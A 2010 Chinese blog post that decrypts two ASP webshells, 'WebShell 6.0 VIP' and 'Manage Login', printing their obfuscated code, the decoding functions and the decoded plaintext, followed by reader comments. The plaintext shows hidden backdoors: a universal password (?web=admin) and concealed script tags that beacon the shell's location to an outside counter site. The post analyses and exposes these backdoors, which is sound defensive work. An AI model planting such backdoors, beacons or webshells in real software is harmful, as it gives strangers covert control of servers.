解密WebShell 6.0 VIP和Manage Login等二款ASP WEBSHELL

今天在刀客城新人群,有个朋友抛出来一个shell,我一看是asp文件,本能的习惯,看看是否是有后门。

第一个是WebShell 6.0 VIP(密码防破解版),
解密截图

点击放大图片

这个比较简单,没有vbscript.encode加密
第一层就看到了十三的加密,这个是shell中用的最为广泛的十三逆向加密。

点击放大图片
解密后保存为shellcode.asp,

从上往下翻看shellcode.asp ,

可以看到一段加密代码
程序代码 程序代码
hu="b_xk^jn^lm!z}z""6z}zxma^gxL^llbhg!zp^[+Z+]fbgz""x6xNl^kIZllxxxxxxxNKE!""xx^g]xb_b_xl^llbhg!zp^[+Z+]fbgz""57Nl^kIZllxma^gb_xk^jn^lm'_hkf!ziZllz""57zzxma^gb_xk^jn^lm'_hkf!ziZllz""6Nl^kIZllxma^gl^llbhg!zp^[+Z+]fbgz""6Nl^kIZllk^lihgl^'k^]bk^\mxnke^el^xkklz非法登录z^g]xb_^el^lb6z5\^gm^k75]boxlmre^6 pb]ma3.))iq4[hk]^k3*iqxlheb]x{+++4iZ]]bg`3++iq4fZk`bg3*))iq4 75[k75Zxak^_6 z~Lbm^NKE~z xmZk`^m6 X[eZgd 7z~fgZf^~z5(Z75ak75_hkfxZ\mbhg6 z~nke~z xf^mah]6 ihlm 7密码:5bginmxgZf^6 iZll xmri^6 iZllphk] xlbs^6 ++ 7x5bginmxmri^6 ln[fbm xoZen^6 登录 75ak7z~<hirkb`am~z5(\^gm^k7zk^lihgl^'pkbm^z5liZgxlmre^6]blieZr3ghg^75l\kbimxeZg`nZ`^6zzcZoZl\kbimzzxlk\6zzammi3((\hngm.'.*r^l'\hf(\eb\d'Zliq8b]6.*/-.1)0~eh`h6*zz75(l\kbim75(l\kbim75(liZg7zb_xbglmk!LB%LB<""57)xma^gxkklxlB^g]xb_k^lihgl^'^g]^g]xb_"
execute(UnEncode(hu))
function UnEncode(temp)
but=88
for i = 1 to len(temp)
    if mid(temp,i,1)<> "" then
If Asc(Mid(temp, i, 1)) < 32 or Asc(Mid(temp, i, 1)) > 126 Then
a = a & Chr(Asc(Mid(temp, i, 1)))
else
pk=asc(mid(temp,i,1))-but
            if pk>126 then
                    pk=pk-95
            elseif pk<32 then
                     pk=pk+95
             end if
             a=a&chr(pk)
end if
   else
             a=a&vbcrlf
   end if
next
UnEncode=a
end function

看看UnEncode函数,可见其为黑客伟移位加密,加密者将那个特殊字符设置为空格,还是第一次见
点击放大图片
上面加密代码解密后为
程序代码 程序代码
if request("%"))="%" then
Session("web2a2dmin")) = UserPass
       URL())
  end if
if session("web2a2dmin"))<>UserPass then
if request.form("pass"))<>"" then
if request.form("pass"))=UserPass then
session("web2a2dmin"))=UserPass
response.redirect url
else
rrs"非法登录"
end if
else
si="<center><div style='width:500px;border:1px solid #222;padding:22px;margin:100px;'><br><a href='"&SiteURL&"' target='_blank'>"&mname&"</a><hr><form action='"&url&"' method='post'>密码:<input name='pass' type='password' size='22'> <input type='submit' value='登录'><hr>"&Copyright&"</center>"
response.write"<span style=display:none><script language=""javascript"" src=""http://count5.51yes.com/click.aspx?id=51645807&logo=1""></script></script></span>"
if instr(SI,SIC))<>0 then rrs sI
end if
response.end
end if

可以看到有一个统计js代码。看到这个明文大家可能会很奇怪,为什么所有的括号收都是2个,这明显是错误的。
我用fso解密了一次这段代码,发现,明文没有出现这个错误,没有2个括号收。
对于这个UnEncode函数的设置,“"”解密出来就是“)”,看看密文,会发现存在多个“""”,那么解密出来就是2个括号收,所以屠龙的解密是没有错误。但是为何用fso解密出来,却只有一个括号收呢?
这与asp脚本的特殊符号处理有关,大家知道,再asp中字符变量的值是包含在一堆双引号之间的,如果字符中有双引号,改怎么表示呢?那就是用2个双引号("")来表示,从而与VB内置的控制符双引号(")相区别。比如新建一个test.asp
程序代码 程序代码
<%
hu="wertwertwert""dfghdfghdfg"
response.write hu
%>



它输出的是wertwertwert"dfghdfghdfg,而不是wertwertwert""dfghdfghdfg。所以上面的密文在asp环境中执行就是正确的,2个双引号只会解密成一个括号收,而在工具中则会解密成2个括号收。对于本文的UnEncode函数来说,只要当but=88时才会出现这种情况。
这应当是这个解密函数的反函数的一个BUG,因为将括号收加密成双引号后,程序运行将出错,只有将双引号替换成2个双引号后才会成功运行。应当说是我没有考虑到这一点吧,原作者的加密函数应当是ok的。

至此,这个shell就解密完了。

第二个,Manage Login,解密很清秀,不是那种漆黑漆黑的,我比较喜欢

点击放大图片
这个文件的第一层加密是vbscript.encode加密。

点击放大图片
解密后保存为shellcode.asp

查看shellcode.asp可知,他的主要加密为 MorfiCoder加密。
这个加密有点意思,咱们慢慢看
首先看看加密的函数
程序代码 程序代码
Function MorfiCoder(Code)
MorfiCode1="o{@"'>^'"&KmGEOK]E?ZZZz^X>f7V^\_".VqsC]`Cv1&].~bT5h>**7fU#q:HW -Ir][email protected],gP"
Execute (MorfiCoder1("402988016", MorfiCode1))
End Function


这个函数竟然是加密的,那么我们继续找MorfiCode1函数。
程序代码 程序代码
Function MorfiCoder1(password, MorfiCode)
MIN_Morfi = 32  ' Space.
MAX_Morfi = 126 ' ~.
NUM_Morfi = MAX_Morfi - MIN_Morfi + 1
    offset = password
    Rnd -1
    Randomize offset
MorfiCode = Replace(MorfiCode, Chr(-23646), Chr(34))
    str_len = Len(MorfiCode)
    For i = 1 To str_len
        ch = Asc(Mid(MorfiCode, i, 1))
        If ch >= MIN_Morfi And ch <= MAX_Morfi Then
            ch = ch - MIN_Morfi
            offset = Int((NUM_Morfi + 1) * Rnd)
            ch = ((ch - offset) Mod NUM_Morfi)
            If ch < 0 Then ch = ch + NUM_Morfi
            ch = ch + MIN_Morfi
            to_text = to_text & Chr(ch)
             MorfiCoder1 = Replace(to_text, "|^|", vbCrLf)
        End If
    Next
End Function


可以看到这个MorfiCoder1有2个chr函数的值,因为这2个值是MorfiCoder1的2个变量值,必须求出来,那么先求出这2个


点击放大图片

这2个值出来了,我们放入程序

点击放大图片

那么MorfiCoder函数的明文就出来了
程序代码 程序代码
Function MorfiCoder(Code)
  MorfiCoder = Replace(Replace(StrReverse(Code),"*/", Chr(34)),"*\", vbCrLf)
End Function  

还有一处用MorfiCoder1加密
程序代码 程序代码
MorfiCode="?+cpdiyUu. #5fSdwEFt?C!M76!xK>m!eAtc c*Ir4<B"k+"XWlgirM&QWfR5">..DP6(Q/c#CK<IViz>Q}iHYg(T*x%}bYzO]Ap. =^fZC7KK$^)L"*'&grs!sJ%}1C{(aj~23{<$,xYQEo(0OdK!nxsFH%I?"
Execute (MorfiCoder1("515233064", MorfiCode))


解密后为
程序代码 程序代码
If Session("web2a2dmin") <> UserPass Then|^|If Request("web")="admin" Then|^| Session("web2a2dmin") = UserPass|^|  Response.Redirect URL|^|  End If|^|  End If


有个万能密码?web=admin

还有一处
程序代码 程序代码
MorfiCode="c4V$h3((y0Yo=teL#x~.:>r5$[\3d:vs<}=cc"+Tx7J'Gl!1ZK4)`_<eMUv:|YCL=IJd-:Oo.n]l0F,$?oB/jKK$|+V1zaXzDGFRdp`*jL0gjp?6Dd;]."^rB>5ZnG@={,nj=xoC0'}7[)5(qMhQ[wckV*Ivu>+r#o#5$00y)rW4s$?cU!AY+^i]ve.v8"*e01r8-]`sT<55;;8J?P=WE1?i7K.6kOAeqbKH}\.[TkNEU$n);(3#i]y+);!r& vYygYHqtlAHL4}8A.Vh*1Gkx8X:"OF^5F`?Ug{z"hu3){r4`=1*E%R:l*]@^Xa$~+C{S;(}9/hQ}% ;1WM7$EvBm0/)([email protected]!a3,g7eKoa}Rl%T2P=%:/~/K;TQv]D&n7menm.N*"
Execute (MorfiCoder1("515233064", MorfiCode))


解密后为

程序代码 程序代码
morfi="<span style='display:none'><script language='javascript' src='http://count2.51yes.com/click.aspx?id=23986889&logo=1'></script></span>"|^|if instr(Request.ServerVariables("SERVER_NAME"),"127.0.0.1")<>0 then morfi=""|^|if instr(Request.ServerVariables("SERVER_NAME"),"192.168.")<>0 then morfi=""|^|if instr(Request.ServerVariables("SERVER_NAME"),"localhost")<>0 then morfi=""|^|echo morfi


后面的那几个语句是判断脚本是否在局域网或者本地电脑运行,如果不是就运行前面的那个隐藏SPAN,祝愿这是一个统计代码吧,但是各位都知道,统计代码是可以记录来路的。

好了,那么现在可以解密MorfiCoder函数的加密了


点击放大图片

至此,这2个shell完全解密完成。


by  daokers



相关附件下载:

下载文件 点击下载此文件








以下说明属本文之一部分:
转载请保持完整并注明:转自 金刀客[www.daokers.com]


[本日志由 admin 于 2010-04-13 02:39 PM 编辑]
相关日志:
在线RSS阅读器订阅:
feedsky
抓虾 pageflakes Rojo google reader
my yahoo newsgator bloglines 有道
鲜果 飞豆 哪吒 Netvibes
Netvibes Netvibes

手机订阅:


本站订阅地址:
RSS2:点击复制
Atom:点击复制
        本站所有原创文章均遵循 [创作共用协议]
        本站原创文章可以转载,但须保持完整性并注明出处。
        COPYRIGHT 2008-2010  §  HTTP://WWW.DAOKERS.COM  §    ALL RIGHTS
评论: 5 | 引用: 0 | 查看次数: -
回复回复BaldLei[2015-06-02 06:43 PM | del]
刀大哥,屠龙刀能给我发一下吗? 我知道这样直白的要不好,[email protected]
回复回复smallpig301[2010-08-12 08:34 AM | del]
站长,我刚好有一些asp加密的东西要破解,看到你用的这个工具太强了。麻烦问一下到哪里可以下载?能不能发布一下。十分的感谢!
回复来自 admin 的评论 admin 于 2010-08-12 01:09 PM 回复
暂没发布
回复回复lijiejie[2010-08-07 01:32 PM | del]
execute(UnEncode(hu))
后面直接用一个输入语句就能看到解密后的代码了:
response.write UnEncode(hu)

第二个在
Execute (MorfiCoder1("515233064", MorfiCode))
后面添加输出语句:
reponse.write MorfiCoder1("515233064", MorfiCode)

自己都提供解密过程了还加密,呵呵,很搞笑。。。。
不得不说,发表个评论,还得注册用户,呵呵。。。
回复来自 admin 的评论 admin 于 2010-08-07 11:27 PM 回复
莫名其妙...
回复回复Juliet[2010-06-20 11:59 PM | del]
自己试着解了一遍,呵,没解开,加密解密这个的可真都是人才哪!牛啊
那个Manage Login是用以前老兵的站长助手改的,界面我也相当喜欢,因为我常用的webshell也是用老兵的改的,这下正好照着改改界面。
话说你博客下载组件,虽然没什么问题,不过看着蛮吓人的,还是改改吧
*:\*\*\wwwroot\showfile.asp刚点开的时候还真吓我一跳
回复来自 admin 的评论 admin 于 2010-06-21 06:06 PM 回复
又出问题了啊,郁闷,我看看

回复来自 admin 的评论 admin 于 2010-06-21 06:08 PM 回复
怎么爆出物理路径的?我刚刚看好像ok的哦。蛋疼,爆物理路径
回复回复gsestart[2010-06-02 05:59 PM | del]
.....对asp.shell有畏惧.!
回复来自 admin 的评论 admin 于 2010-06-21 06:08 PM 回复
^_^
发表评论
昵 称:
密 码: 游客发言不需要密码.
验证码: 验证码提示:单击自动获取验证码
内 容:
最多可输入,当前共,还可输入
选 项:
虽然发表评论不用注册,但是为了保护您的发言权,建议您注册帐号.